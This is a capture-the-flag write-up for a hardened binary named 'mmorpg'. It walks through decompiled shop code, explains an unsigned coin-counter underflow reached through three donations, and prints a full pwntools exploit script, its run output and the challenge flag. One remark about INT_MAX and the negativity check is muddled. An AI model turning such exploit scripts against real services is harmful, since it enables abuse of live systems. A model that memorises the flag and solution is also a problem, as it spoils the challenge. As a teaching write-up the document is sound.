mmorpg
Five stack protections and not one of them matters, because the bug is a signedness mismatch in the shop and the exploit is three donations.
This is the one challenge in the set with full hardening turned on. It also never
touches the return address. The whole exploit is arithmetic on a coin counter,
which is a nice reminder that checksec describes the memory protections and
says nothing about whether the program’s logic holds up.
| property | value |
|---|---|
| arch | amd64-64-little |
| RELRO | Full |
| canary | found |
| NX | enabled |
| PIE | enabled |
| SHSTK | enabled |
| IBT | enabled |
Full RELRO, canary, PIE, plus CET shadow stack and IBT. A stack overflow here goes nowhere. Fortunately there is no stack overflow.
The bug
Three menu options: buy, complete purchase, donate. Donate is where it breaks:
printf("How much do you want to donate?\n> ");
__isoc99_scanf("%d", &local_128);
iVar1 = local_128;
if (local_128 < 0) {
iVar1 = 0;
}
local_12c = local_12c - iVar1;
local_128 is a signed int — that is what makes if (local_128 < 0) meaningful.
local_12c is a uint: the coin balance. The guard only rejects negative values,
so donating a positive amount larger than the current balance underflows the
unsigned balance and wraps it around.
Starting balance is 1000 (0x3e8). Donate 1001 and the balance becomes
0xffffffff.
That alone is not enough, because the shop casts it back:
case 1:
local_14 = 400446;
if (400445 < *param_1) { // *param_1 is int*, so signed
shadow = 1;
*param_1 = *param_1 + -400446;
}
break;
param_1 is int *, so 0xffffffff reads as -1, and -1 < 400445. The cheap
items are unreachable. The balance has to be wrapped back into the positive signed
range before anything in the shop is purchasable.
Walking the counter around
signed is positive while the value is below 0x80000000. From 0xffffffff,
subtract just enough to land just under it, then step forward:
| step | operation | coins (hex) | as signed |
|---|---|---|---|
| start | — | 0x000003e8 | 1000 |
| donate 1001 | 0x3e8 − 0x3e9 | 0xffffffff | −1 |
| donate 2147483647 | 0xffffffff − 0x7fffffff | 0x80000000 | −2147483648 |
| donate 1 | 0x80000000 − 1 | 0x7fffffff | 2147483647 |
0x7fffffff is positive under both interpretations, and it is more than the sum of
every item in the shop. The __isoc99_scanf("%d", ...) accepted 2147483647
without complaint because that is exactly INT_MAX, one past the last value the
negativity check would have caught.
Finishing
The flag path is gated on five booleans set by purchases:
else if (local_124 == 2) {
if ((((shadow != 0) && (abyss != 0)) && (dragon != 0)) &&
((celestial != 0 && (phantom != 0)))) {
local_120 = fopen("flag.txt", "r");
So: donate three times, buy all five items, complete the purchase.
Exploit
The full script, same as exploit.py: it keeps the start() helper, so GDB=1
breaks under pwndbg and REMOTE=1 ./exploit.py <host> <port> points it at the
service without edits.
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
continue
'''.format(**locals())
exe = './mmorpg'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)
def loglibc(): log.success('libc addr = %#x' % libc.address)
def logbase(): log.success('pie addr = %#x' % elf.address)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
offset = 72
io = start()
def menu(choice):
sla(b'> ', str(choice).encode())
def buy(item):
menu(1)
sla(b'Choose what you want to buy : ', str(item).encode())
def donate(amount):
menu(3)
sla(b'> ', str(amount).encode())
# 1. Donate to get coins back to positive range
# Coins start at 1000
# 1000 - 1001 = 0xffffffff (-1)
donate(1001)
# 0xffffffff - 2147483647 = 0x80000000 (-2147483648)
donate(2147483647)
# 0x80000000 - 1 = 0x7fffffff (2147483647)
donate(1)
for i in range(1,6):
buy(i)
menu(2)
io.interactive()
#RE:CTF{iwant_sukiya_so_badd_____________chere_my_qrcode!!}
offset = 72 is leftover from the stack-overflow template and goes unused — the
exploit never writes past a buffer, it just asks the shop for five items. Running
it locally shows the balance walk, which is the whole exploit in one column:
Your coins : 1000 # starting balance
Your coins : -1 # donated 1001 -> 0xffffffff
Your coins : -2147483648 # donated INT_MAX -> 0x80000000
Your coins : 2147483647 # donated 1 -> 0x7fffffff
Your coins : 2147083201 # after Shadowweave Plate
Your coins : 2147081551 # after Abyssal Guardian Set
Your coins : 2147061101 # after Dragonlord's Regalia
Your coins : 2147018254 # after Celestial Light Armor
Your coins : 2147017304 # after Phantom Veil Cloak
Here is your flag : fake_flag{test_test}
printf("Your coins : %d\n", (ulong)local_12c) is the reason the display flips to
negative: the unsigned balance is printed through %d, so the moment the value
crosses 0x80000000 the menu agrees with the shop’s check. The fourth line,
2147483647, is the only line where both readings agree that we are rich.